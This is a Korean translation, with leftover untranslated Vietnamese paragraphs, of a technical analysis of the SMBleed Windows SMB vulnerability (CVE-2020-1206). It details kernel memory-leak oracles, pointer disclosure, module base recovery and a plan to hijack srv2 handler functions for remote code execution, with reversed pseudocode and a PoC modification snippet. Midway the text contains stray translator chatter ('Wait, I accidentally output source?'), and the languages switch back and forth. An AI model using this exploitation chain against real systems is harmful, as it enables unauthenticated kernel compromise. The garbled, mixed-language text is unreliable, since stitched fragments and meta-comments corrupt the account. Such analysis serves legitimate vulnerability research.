
SMBGhost 취약점(CVE-2020-0796)에서 저는 integer overflow 버그를 이용해 Alloc.Userbuffer 포인터를 우리가 원하는 주소로 변경하고 그곳에 임의의 데이터를 쓰는 write-what-where primitive 기법에 대해 이야기했습니다. SMB Ghost와 유사하게, 이 취약점도 srv2.sys의 Srv2DecompressData 함수에 존재합니다. Zecops가 단순화한 SMBGhost(CVE-2020-0796) 취약점과 관련된 Srv2DecompressData 함수를 다시 살펴보겠습니다.``` c typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Srv2DecompressData 함수는 클라이언트가 보낸 압축된 메시지를 입력받아 필요한 메모리 영역을 할당하고 그곳에 메시지를 압축 해제합니다. 그 후 Offset 필드가 0이 아니면 압축된 데이터 앞의 데이터(RawData)를 할당된 메모리 영역의 앞부분에 복사합니다.

SMBGhost 취약점은 함수가 integer overflow를 검사하지 않아 잘못된 크기를 할당하여 buffer overflow가 발생하는 데 있습니다. Microsoft가 SMBGhost를 패치한 지 3개월 후, CVE-2020-1206(SMBleed - [Zecops Blog](https://blog.zecops.com/)에서 명명) 취약점이 발견되었습니다. 이 취약점을 통해 다른 컴퓨터의 주소를 누출(leak)할 수 있으며, SMBGhost와 결합하면 RCE를 얻을 수 있습니다. Srv2DecompressData 함수를 더 간단히 살펴보기 위해, SMBGhost가 패치되기 전의 이 함수를 사용하면서 패치되었다고 가정하겠습니다.
# OriginalCompressedSegmentSize 위조
SMBGhost와 마찬가지로, 이번에도 OriginalCompressedSegmentSize를 우리가 보내는 압축 해제 데이터보다 약간 큰 값으로 위조합니다. 예를 들어 x바이트 크기의 데이터를 압축한 경우 OriginalCompressedSegmentSize 필드에 x를 넣는 대신 x + 0x1000으로 설정합니다. 다음 그림을 보면 더 명확합니다:

초기화되지 않은 커널 데이터는 메시지의 일부로 간주됩니다.
제가 [CVE-2020-0796](https://github.com/datntsec/CVE-2020-0796) 분석 글에서 말했듯이, Srv2DecompressData는 압축 해제가 성공하면 SmbCompressionDecompress 함수 이후의 검사 단계를 여전히 건너뜁니다:``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
OriginalCompressedSegmentSize 필드는 x 대신 x + 0x1000으로 설정되어 있지만, 압축 해제에 성공한 후 FinalCompressedSize 변수에는 x 값이 포함되지 않고 x + 0x1000 값이 포함됩니다:```c NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Bởi vì sau khi giải nén thành công, FinalCompressedSize được cập nhật để giữ giá trị CompressedBufferSize (tương ứng với OriginalCompressedSegmentSize được truyền vào hàm SmbCompressionDecompress). Việc cập nhật và kiểm tra sau đó là gần như không cần thiết, có thể dẫn đến một số lỗi không mong muốn.
Wait, I accidentally output source? Need output Korean. Let's correct.
Because after successful decompression... Actually source is Vietnamese, need Korean. Let's produce proper translation.
# 기본 수준의 익스플로잇
Zecops가 취약점을 증명하기 위해 사용하는 메시지 구조는 [SMB2 WRITE 메시지](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8)입니다. 이 구조에는 쓸 수 있는 바이트 수, 플래그, ... 등의 필드가 포함되며, 그 뒤에 임의 길이의 버퍼가 이어집니다. 이는 취약점을 악용하기에 상당히 적합한데, 헤더를 지정하고 초기화되지 않은 데이터를 포함하는 버퍼를 가진 메시지를 생성할 수 있기 때문입니다.
Microsoft의 WindowsProtocolTestSuites 저장소에 있는 [Zecops](https://blog.zecops.com/)의 POC를 기반으로, 이에 대해 더 명확히 살펴보기 위해 compression 함수에 다음과 같은 작은 추가를 하겠습니다:``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}
Lưu ý rằng POC này yêu cầu thông tin xác thực và chia sẻ quyền write, thường có sẵn trong nhiều trường hợp. Tuy nhiên, lỗi trả về sẽ áp dụng cho mọi message (bao gồm cả message có hoặc không có thông tin xác thực), nên có khả năng ta sẽ có thể khai thác mà không cần phải xác thực. Một điều nữa, là bộ nhớ mà chúng ta sẽ leak là từ các lần phân bổ trước trong NonPagedPoolNx và vì chúng ta có thể kiểm soát kích thước phân bổ, chúng ta sẽ kiểm soát được dữ liệu mà chúng ta sẽ leak ở một mức độ nào đó.
Vậy nếu không có thông tin xác thực thì có thể leak được địa chỉ kernel không? Để trả lời cho câu hỏi này, ta hãy phân tích SMB sâu hơn nữa.
클라이언트는 인증 시 다음 메시지를 보냅니다:
SMB2 NEGOTIATE → SMB2 SESSION_SETUP → SMB2 SESSION_SETUP
인증 정보가 잘못되면 두 번째 SMB2 SESSION_SETUP 패킷 이후 연결 세션이 종료됩니다:

인증 정보가 없다고 가정하고, 인증 없이 보낼 수 있는 명령이 있는지 확인해 보겠습니다. 조사 결과 다음을 확인했습니다:
SMB2 NEGOTIATE이며, 세션 전체에서 유일한 SMB2 NEGOTIATE 명령이기도 합니다.SMB2 SESSION_SETUP이어야 합니다.여기서 SMB2 NEGOTIATE 메시지는 압축되지 않습니다. 버그는 압축 해제 함수에 있으므로, 이를 고려하지 않고 SMB2 SESSION_SETUP 메시지만 살펴보겠습니다.
위에서 말했듯이 일반 세션에서는 두 개의 SMB2 SESSION_SETUP 명령이 전송됩니다. 반환되는 패킷에는 악용에 필요한 데이터가 포함되어 있지 않으며, 반환 패킷에 영향을 줄 방법도 없습니다. 그러나 두 번째 응답 패킷은 패킷 헤더에 status 0xC000006D(STATUS_LOGON_FAILURE)를 가지며 빈 본문을 갖습니다.
첫 번째 SMB2 SESSION_SETUP 패킷에는 NTLM Negotiate message 요청이 포함되고, 두 번째 패킷에는 NTLM Authenticate message가 포함됩니다. NTLM Negotiate 메시지는 비교적 단순하고 흥미로운 부분이 없을 수 있으므로 NTLM Authenticate 메시지를 자세히 살펴보겠습니다.
NTLM Authenticate 메시지를 연구한 결과, 이 메시지에서 가장 복잡하고 악용에 가장 적합한 부분은 NTLM2 V2 Response 구조입니다. 이 구조는 고정 크기가 아닌 바이트 배열로, 주로 NTLMv2_CLIENT_CHALLENGE 구조를 포함합니다. 이 구조가 초기 검사를 통과하지 못하면 0xC000006D(STATUS_LOGON_FAILURE) 대신 0xC000000D(STATUS_INVALID_PARAMETER) 값이 반환된다는 것을 알 수 있습니다. 초기 검사 중 하나는 AvPairs 필드 검사입니다.
AvPairs 필드는 AV_PAIR 구조를 포함하는 고정 크기가 아닌 바이트 배열입니다. 각 AV_PAIR는 attribute/value 쌍을 정의하며, attribute는 AvId 필드로 정의되고, AvLen 필드는 value의 바이트 길이를 정의하며, Value 필드는 value 자체를 담는 고정 크기가 아닌 바이트 배열입니다. MsvAvEOL attribute와 길이가 0인 항목이 배열의 끝을 표시합니다.

Authenticate 메시지는 msv1_0.dll 모듈의 SsprHandleAuthenticateMessage 함수에 의해 처리됩니다. 초기 검사 중 이 함수는 AvPairs 배열에 다음 attribute가 포함되도록 보장합니다: 0x0001(MsvAvNbComputerName), 0x0002(MsvAvNbDomainName). 그러나 해당 값은 검사되지 않으며, 배열을 순회하면서 요청된 attribute가 존재하는지와 그 길이가 구조 내에 있는지만 확인합니다. 길이가 너무 크면 전달이 중단됩니다. 따라서 실제로 MsvAvEOL이 유효한지 여부는 검사되지 않습니다.
이 시점에서 우리는 다음과 같은 질문에 답할 수 있는 요청을 만들 수 있음을 발견했습니다. offset x에 있는 uint16 유형의 2바이트 값이 y보다 큰가? x와 y는 우리가 제어합니다. 다음 패킷을 살펴보겠습니다:

0x0001(MsvAvNbComputerName) 값의 내용은 중요하지 않으므로, 이를 사용해 두 번째 값의 offset을 조정할 수 있습니다. 두 번째 값의 경우 attribute를 0x0002(MsvAvNbDomainName)로만 설정하고 len과 value는 초기화하지 않습니다. 동시에 전체 패킷의 크기를 length 필드에 y바이트가 있도록 설정합니다. 두 번째 값의 length 필드의 초기화되지 않은 값에 따라 두 가지 결과가 발생할 수 있습니다:
서버의 응답을 통해 항상 위 질문에 대한 답을 유추할 수 있습니다.
그러나 NTLM Authenticate 메시지는 0xB48바이트로 제한되며, 이를 초과하면 버려집니다. 이 검사는 msv1_0.dll 모듈의 SspContextGetMessage 함수에 의해 수행됩니다. 그렇다면 len의 1바이트만 기록한다고 가정하고, 나머지 바이트는 초기화되지 않은 값으로 남게 하면 이 제한을 우회할 수 있을까요? 아쉽게도 그렇지 않습니다. uint16 값은 little endian으로 인코딩되기 때문입니다.
따라서 단일 SMB 세션에서 원하는 것을 달성할 수 없으므로, 다른 요소들을 추가로 살펴보겠습니다.
이전 연구(CVE-2020-0796)에서 언급했듯이, 커널의 SMB 처리 모듈(srv2.sys 및 srvnet.sys)은 srvnet.sys에서 내보낸 사용자 지정 할당 함수인 SrvNetAllocateBuffer를 사용합니다. 이 함수는 작은 할당을 위해 lookaside lists를 사용하여 최적화합니다. Lookaside lists는 드라이버가 재사용할 수 있는 고정 크기 버퍼 집합을 효율적으로 저장하는 데 사용됩니다.
Lookaside lists는 초기화 시 생성되며, 각 크기 및 논리 프로세서에 대한 목록은 다음 표에 설명되어 있습니다:
각 "📝" 기호가 있는 셀은 별도의 lookaside list입니다. 분석을 단순화하기 위해 대상 시스템에 논리 프로세서가 하나만 있다고 가정하겠습니다. 이 경우 동일한 바이트 양이 할당되는 한 동일한 lookaside list가 사용되며, 동일한 버퍼가 여러 번 재사용됩니다. 이를 이용해 초기화되지 않은 데이터를 어느 정도 제어할 수 있습니다.
압축 패킷이 압축 해제될 때 어떤 일이 발생하는지 다시 살펴보겠습니다 (자세한 내용과 의사 코드는 CVE-2020-0796 writeup을 참조하세요):

CompressedData가 유효하지 않으면 압축 해제 단계가 실패하고 복사 단계가 실행되지 않으며 연결이 끊깁니다. 그러나 압축 해제는 유효한 CompressedData의 일부를 먼저 해제한 후에만 실패할 수 있습니다. 이를 통해 우리가 선택한 데이터가 우리가 선택한 offset에 기록되도록 요청을 만들 수 있습니다. 다음 그림과 같습니다:

위의 관찰들을 사용해 두 단계로 우리의 기법을 작동시킬 수 있습니다:

이번에는 이 기법이 다음 질문에 답할 수 있습니다. offset x에 있는 한 바이트의 값이 y보다 큰가? 이전과 마찬가지로 x와 y는 우리가 제어합니다.
동일한 lookaside list를 사용하도록 보장함으로써 버퍼를 여러 번 재사용할 수 있으므로, y를 변경하면서 단계를 여러 번 반복하고 특정 오프셋의 바이트 값을 추론할 수 있습니다.
그러나 이 기법에는 한계가 있습니다. 읽을 수 있는 바이트의 offset은 패킷 버퍼 시작 부분에서 0xADB바이트로 제한됩니다. 그 이유는 NTLM Authenticate 메시지(AUTHENTICATE_MESSAGE)의 offset이 SMB2 SESSION_SETUP 헤더가 끝난 후 0x40바이트로 제한되고(srv2.sys의 Smb2ValidateSessionSetup 함수에 의해 적용됨), NTLM Authenticate 메시지(AUTHENTICATE_MESSAGE)의 크기가 0xB48바이트로 제한되기 때문입니다. 이 문제를 해결할 방법을 찾아보겠습니다.
0x1100 offset의 바이트를 읽고 싶다고 가정해 보겠습니다. 위 기법으로는 직접 읽을 수 없지만, 다음 기법을 추가로 사용할 수 있습니다. 버퍼가 lookaside lists에서 재사용되므로 Offset 필드를 해당 바이트를 지나치도록 설정하여 압축 해제 함수를 통해 대상 바이트를 "끌어올릴" 수 있습니다. 그 위치의 데이터가 유효한 압축 데이터로 해석될 수 있도록만 하면 됩니다. 그렇지 않으면 복사가 발생하지 않습니다.

클라이언트가 보낸 데이터를 포함하는 패킷 버퍼에는 압축 해제 과정에서 복사되지 않는 16바이트 헤더가 추가로 포함됩니다. 결과적으로 대상 바이트를 포함한 복사 및 압축 해제된 데이터는 할당된 버퍼의 시작 부분에 16바이트 더 가까운 위치로 복사됩니다. 대상 바이트의 offset이 충분히 낮아질 때까지 이 과정을 여러 번 반복할 수 있습니다.
위 기법을 입증하는 스크립트는 여기에서 찾을 수 있습니다. 서버 컴퓨터에 논리 프로세서가 하나만 있다고 가정했음을 기억하세요. 따라서 스크립트가 작동하도록 가상 머신을 올바르게 구성해야 합니다. 모든 것이 순조롭다면 스크립트는 NonPagedPoolNx 풀의 주소를 읽고 누출합니다. 실제로는 동일한 lookaside lists에 있는 버퍼 중 하나의 주소가 됩니다.
이 기법은 제약이 상당히 많기 때문에 더 이상 자세히 분석하지 않겠습니다. 그러나 위 스크립트를 읽고 직접 분석할 수는 있습니다.
연구 과정에서 Zecops는 압축 해제된 SMB 패킷만 다양한 방식으로 유효하지 않을 수 있는 복잡한 구조가 아니라는 것을 발견했습니다. SMB와 관련된 모든 구조를 처리하기 전에도 compressed buffer는 유효하지 않을 수 있습니다. 압축 해제에 실패하면 서버에 대한 연결이 끊어집니다.
Microsoft는 SMB 구현 시 선택할 수 있는 세 가지 압축 알고리즘을 제공합니다: LZNT1, Plain LZ77, LZ77 + Huffman. LZNT1은 비교적 단순하므로(압축 해제 함수용 Python 약 80줄) LZNT1만 살펴보겠습니다. 압축 해제 과정을 간단히 설명하겠습니다. 압축 데이터는 일련의 압축 블록으로 구성되며, 각 블록은 해당 블록의 길이를 나타내는 uint16 변수로 시작합니다. 길이가 0이면 압축 해제가 완료됩니다. 이를 이용해 유효한 압축 데이터를 나타내는 0바이트 문자열을 기록할 것입니다. 목적은 위 질문에 답하는 것입니다. offset x에 있는 한 바이트의 값이 y보다 큰가? 물론 x와 y는 여전히 우리가 제어합니다.
아래는 우리가 보낼 압축 데이터의 예입니다:

length 필드의 첫 번째 바이트의 초기화되지 않은 값에 따라 두 가지 결과가 발생할 수 있습니다:
이전 기법과 마찬가지로 관찰 1과 2를 사용하여 메시지 중간에 초기화되지 않은 바이트가 있는 메시지를 두 단계로 만들 수 있습니다:
SMB 패킷 헤더의 Offset 값은 압축 데이터를 가리키며, 이 데이터는 초기화되지 않은 바이트의 값에 따라 유효할 수도 있고 그렇지 않을 수도 있습니다.

이 기법이 이전 기법에 비해 가장 주목할 만한 장점은 더 이상 offset 제한이 없다는 것입니다.
요약하면, srvnet.sys 모듈의 SrvNetAllocateBuffer 함수가 할당한 pool buffer에서 초기화되지 않은 메모리 영역을 읽는 두 가지 기법이 있습니다. 첫 번째 기법은 특수한 SMB 패킷을 생성한 다음 서버의 응답을 통해 정보를 추론합니다. 두 번째 기법은 제약이 더 적으며, 특수하게 압축된 데이터를 생성해 전송한 다음 서버가 연결을 끊는지 여부에 따라 정보를 추론합니다.
따라서 위 두 기법 중 하나를 사용해 악용할 수 있습니다. 그리고 말했듯이 첫 번째 기법은 제약이 많으므로 두 번째 기법만 자세히 다루겠습니다.
이 기법은 Zecops가 이전 연구에서 local privilege escalation을 달성할 수 있음을 입증한 write-what-where primitive 방향으로 악용하는 데 도움이 됩니다. 우리는 이 기법을 사용하여 write-what-where primitive를 사용할 수 있도록 memory layout의 주소를 누출할 것입니다. 불행히도 SrvNetAllocateBuffer 함수가 할당한 메모리는 주로 SMB 패킷과 같은 네트워크 데이터에 사용되며 시스템 포인터를 포함하지 않습니다. RCE를 달성해야 하므로 SrvNetAllocateBuffer의 이전 할당으로 초기화되지 않은 메모리 영역을 누출하는 것은 필요한 포인터의 위치를 확신할 수 없어 무용지물입니다. 더 유용한 무언가를 찾아야 합니다.
local privilege escalation 연구(CVE-2020-0796)에서 말했듯이 SrvNetAllocateBuffer 함수는 요청된 크기의 버퍼만 반환하지 않습니다. 대신 pool-allocated memory block 구조에서 user buffer 바로 아래 영역을 가리키는 포인터를 반환하며, 여기에는 할당된 버퍼에 대한 정보가 포함됩니다. pool-allocated memory block의 배치는 다음과 같습니다:

우리의 읽기 기법은 "User Buffer" 영역의 바이트만 읽을 수 있지만, 다른 기법을 사용하여 SRVNET_BUFFER_HDR 구조의 일부를 다른 버퍼의 "User Buffer"로 복사해 읽을 수 있습니다. Offset 필드를 읽고자 하는 데이터 밖에 있는 SRVNET_BUFFER_HDR 구조를 가리키도록 설정하면 됩니다. 그 위치의 데이터가 유효한 압축 데이터로 해석될 수 있도록만 하면 되며, 그렇지 않으면 복사가 수행되지 않습니다.

SRVNET_BUFFER_HDR 구조의 필드들을 살펴보고 읽을 가치가 있는 내용이 있는지 확인해 보겠습니다:``` c #pragma pack(push, 1) struct SRVNET_BUFFER_HDR { /00/ LIST_ENTRY ConnectionBufferList; /10/ WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list /12/ WORD LookasideListIndex; // 0 to 8 /14/ WORD LookasideListLogicalProcessor; /16/ WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2 /18/ PBYTE UserBufferPtr; /20/ DWORD UserBufferSizeAllocated; /24/ DWORD UserBufferSizeUsed; /28/ DWORD PoolAllocationSize; /2C/ BYTE unknown1[4]; /30/ PBYTE PoolAllocationPtr; /38/ PMDL pMdl1; /40/ DWORD BytesProcessed; /44/ BYTE unknown2[4]; /48/ SIZE_T BytesReceived; /50/ PMDL pMdl2; /58/ PVOID pSrvNetWskStruct; /60/ DWORD SmbFlags; /64/ PVOID TracingPtr1; /6C/ SIZE_T TracingUnknown1; /74/ PVOID TracingPtr2; /7C/ SIZE_T TracingUnknown2; /84/ BYTE unknown3[12]; }; #pragma pack(pop)
`UserBufferPtr`, `PoolAllocationPtr`, `pMdl1`, `pMdl2` 포인터는 pool-allocated memory block 내부를 가리키는 포인터이며, 오프셋을 미리 계산할 수 있으므로 그중 하나만 읽으면 됩니다. pool-allocated memory block을 가리키는 포인터를 확보하는 것은 공격에 확실히 도움이 됩니다. 또한 다음 포인터들도 매우 중요합니다:
- **ConnectionBufferList**: 연결에 대해 수신되었지만 아직 처리되지 않은 모든 버퍼의 연결 리스트입니다. 이 리스트의 머리는 srvnet.sys의 SrvNetAllocateConnection 함수에 의해 생성된 connection object입니다. 버퍼는 SrvNetWskReceiveComplete 함수에 의해 리스트에 추가됩니다. 우리의 경우 리스트에는 버퍼가 하나만 있으므로 두 포인터(LIST_ENTRY 구조체의 Flink와 Blink) 모두 connection object 내부의 리스트 머리를 가리키게 됩니다.
- **pSrvNetWskStruct**: 처음에는 위에서 언급한 connection object를 가리키는 포인터입니다. 이 포인터는 SrvNetWskReceiveEvent 함수에 의해 설정되지만, SrvNetWskReceiveComplete 함수가 SRVNET_BUFFER_HDR 구조체를 가리키는 포인터로 덮어씁니다. 따라서 이를 읽는 것은 위에서 언급한 네 개의 포인터 중 하나를 읽는 것보다 더 유용하지 않습니다. 참고로 "pSrvNetWskStruct"를 검색해 보면 EternalBlue 공격에서 역할을 한다는 것을 알 수 있습니다.
- **TracingPtr1/2**: 이 포인터들은 tracing 기능이 활성화된 경우에만 사용됩니다.

보시다시피, 우리가 읽을 수 있는 또 다른 유일하게 유용한 포인터는 ConnectionBufferList 구조체 안의 포인터입니다. 두 포인터(LIST_ENTRY 구조체의 Blink와 Flink) 모두 connection object를 가리킵니다. 이 객체는 EternalBlue 연구자가 SRVNET_RECV라고 명명했으므로, 우리도 이 이름을 사용하겠습니다.
## 모듈 베이스 주소 얻기
이제 우리는 두 개의 포인터, 즉 pool-allocated memory block을 가리키는 포인터와 SRVNET_RECV 구조체를 가리키는 포인터를 얻는 방법을 알게 되었습니다. 이제 write-what-where 프리미티브를 사용하여 두 버퍼를 자유롭게 수정할 수 있습니다. RCE를 달성하는 방법은 여러 가지가 있을 수 있지만, 모듈의 베이스 주소를 얻는 것이 가장 간단한 선택입니다. 모듈의 데이터 섹션에는 우리가 수정할 수 있는 것들이 많기 때문입니다. 앞서 보았듯이 SrvNetAllocateBuffer가 할당한 memory block에는 모듈을 가리키는 포인터가 없습니다. 그러나 여전히 모듈을 가리키는 몇 가지 포인터가 존재합니다:

우리가 가진 읽기 기법은 "User Buffer" 영역의 데이터만 읽을 수 있게 해 주지만, 이러한 포인터들은 꽤 멀리 떨어져 있고 다른 여러 포인터들이 가리키고 있습니다. 포인터 값을 "User Buffer" 영역으로 복사하려면 다음 작업을 수행할 수 있는 코드가 필요합니다:``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value
이런 코드 조각을 찾을 수 있다면, 그것을 활성화하여 첫 번째 포인터(예: HandlerFunctions)를 "User Buffer" 영역에 복사하고, 그것을 읽은 다음, 두 번째 포인터(예: Srv2ConnectHandler 함수 포인터)를 "User Buffer"에 복사하고 읽어서, 그것으로부터 모듈 베이스 주소를 추론할 수 있을 것입니다. Zecops 팀은 오랫동안 그러한 코드 조각을 찾아보았지만, 적합한 조각을 찾지 못했습니다. 결국 그들은 원하는 기능에 가까운 SrvNetFreeBuffer 함수(아래와 같이 단순화됨)와 관련된 다른 선택지를 사용했습니다:``` c void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer) { PMDL pMdl1 = Buffer->pMdl1; PMDL pMdl2 = Buffer->pMdl2;
if (pMdl2->MdlFlags & 0x0020) {
// MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
Khi giải phóng bộ đệm, nếu buffer flags là 0x02 (có nghĩa là buffer là một phần của một lookaside list) và 0x01 (có nghĩa là buffer không có transport header) được set, một số thao tác được thực hiện trên hai MDL objects để thêm transport header trước khi set lại các flag về 0 và trả buffer trở lại lookaside list. Nếu chúng ta xem xét kĩ đằng sau các thao tác trên các MDL object, chúng ta có thể nhận thấy rằng đoạn code thực hiện phép double-dereference-read theo sau là double-dereference-write với hai biến mà ta kiểm soát (hai con trỏ MDL), đó là những gì ta đang tìm kiếm. Nhược điểm là nội dung mà chúng ta muốn đọc cũng bị sửa đổi, một tác dụng phụ mà ta hy vọng có thể tránh được.
Với những điều trên, đây là cách ta quản lý để đọc con trỏ AcceptSocket:
1. Chuẩn bị buffer A từ một lookaside list sao cho vùng “User buffer” được lấp đầy bởi các số 0. Vùng user buffer của buffer này sẽ chứa con trỏ mà chúng ta sẽ đọc.
2. Chuẩn bị buffer B từ một lookaside list khác để:
- Con trỏ pMdl1 trỏ đến địa chỉ của con trỏ AcceptSocket trừ đi 0x18, (do offset của MappedSystemVa là 0x18 trong cấu trúc MDL).
- Con trỏ pMdl2 trỏ đến vùng “User buffer” của Buffer A.
- Trường Flags được set thành 0x03.
Ta có thể ghi đè các trường cấu trúc SRVNET_BUFFER_HDR bằng cách giải nén chúng từ buffer lớn hơn thông qua kỹ thuật được mô tả trong phần [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) ở trên.
3. Khi Buffer B được giải phóng, các hoạt động sau sẽ diễn ra:
- Các MDL flags sẽ được đọc từ MDL thứ hai tại buffer A. Nếu MDL_PARTIAL_HAS_BEEN_MAPPED flag được set, MmUnmapLockedPages sẽ được gọi và hệ thống có khả năng bị crash. Đó là lý do tại sao ta phải lấp đầy buffer bằng các số 0 ở bước 1.
- Con trỏ AcceptSocket và bộ nhớ xung quanh nó sẽ được sửa đổi như được mô tả ở đây:```
+00 | 00 00 00 00 00 00 00 00
+08 | __ __ __|10 __ __ __ __
+10 | __ __ __ __ __ __ __ __
+18 | [+50..................] <-- AcceptSocket
+20 | __ __ __ __ __ __ __ __
+28 | [-50......] [+50......]
- Buffer A의 “User buffer” 영역은 여기에 설명된 대로 수정됩니다: (주황색 바이트에는 우리가 읽으려는 포인터가 포함되어 있으며, 이를 올바르게 정렬하기만 하면 됩니다)```
+00 | 00 00 00 00 00 00 00 00
+08 | ?? ?? 04 00 __ __ __ __
+10 | __ __ __ __ __ __ __ __
+18 | __ __ __ __ __ __ __ __
+20 | 00 c0 ef gh ij kl mn op
+28 | qr st uv wx ab 0d 00 00

좋은 소식은 포인터를 읽었다는 것이다. 나쁜 소식은 SRVNET_RECV 구조체의 일부 데이터를 손상시켰다는 것이다. 다행히도 관련 연결에 아무 일도 일어나지 않는 한 이 오류는 시스템에 영향을 미치지 않는다. 연결 종료 같은 문제가 발생하면 시스템이 크래시할 것이다. 곧 RCE를 얻을 수 있고 원한다면 오류를 고칠 수 있기 때문에 이는 문제가 되지 않는다.
AcceptSocket 포인터를 읽은 후 동일한 기법을 계속 사용하여 srvnet!SrvNetWskConnDispatch 포인터를 읽는다. AcceptSocket 포인터 대신 HandlerFunctions 포인터를 읽지 않는 이유는 HandlerFunctions 배열이 모든 연결 간에 공유되는 반면, AcceptSocket이 가리키는 버퍼는 다른 연결과 공유되지 않기 때문이다. 따라서 AcceptSocket의 일부를 손상시키더라도 오직 하나의 연결의 안정성에만 영향을 미친다.
대상 컴퓨터에서 사용되는 srvnet.sys 파일의 복사본을 가지고 있다면, 누출된 SrvNetWskConnDispatch 포인터의 오프셋을 빼서 srvnet.sys 모듈의 base address를 쉽게 유추할 수 있다.
srvnet.sys 모듈의 base address를 알고 있다고 가정하면 해당 모듈의 어떤 함수든 호출할 수 있다. 그런데 함수의 인자는 어떠한가? srv2!Srv2ReceiveHandler는 SrvNetCommonReceiveHandler에 의해 호출되며, 호출 형태는 다음과 같다:``` c HandlerFunctions = *(pSrvNetRecv + 0x118); Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128); Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130); (HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);
처음 두 인수는 `SRVNET_RECV` 구조체에서 읽히므로 제어할 수 있지만, 나머지 인수는 제어할 수 없습니다. x86-64 호출 규약은 호출자가 인수용 스택 공간을 할당하고 해제할 책임이 있다고 규정하므로, 8개의 인수를 갖는 함수가 호출되도록 의도되었더라도 우리는 그 포인터를 다른 임의의 함수를 기대하는 함수로 대체할 수 있습니다.

다음은 함수 호출을 트리거하기 위해 사용할 단계입니다:
1. 연결의 `SRVNET_RECV` 구조체 포인터가 우리가 읽을 수 있는 버퍼로 복사되도록 특별히 제작된 메시지를 전송합니다.
2. 동일한 `SRVNET_RECV` 구조체를 재사용하지만 연결을 닫지 않는 또 다른 유효한 메시지를 전송합니다. 연결이 닫힐 때 `SRVNET_RECV` 구조체가 해제되지 않는다는 점에 유의하십시오. `SrvNetPrepareConnectionForReuse` 함수가 호출되어 구조체를 재설정하고 다음 연결에 재사용할 수 있게 합니다.
3. 1단계에서 복사한 `SRVNET_RECV` 구조체 포인터를 읽습니다.
4. write-what-where primitive를 이용해 `HandlerFunctions` 포인터와 인수들을 교체합니다.
5. 2단계의 연결을 통해 추가 메시지를 전송하여 `srv2!Srv2ReceiveHandler`를 대체하는 함수가 호출되게 합니다.
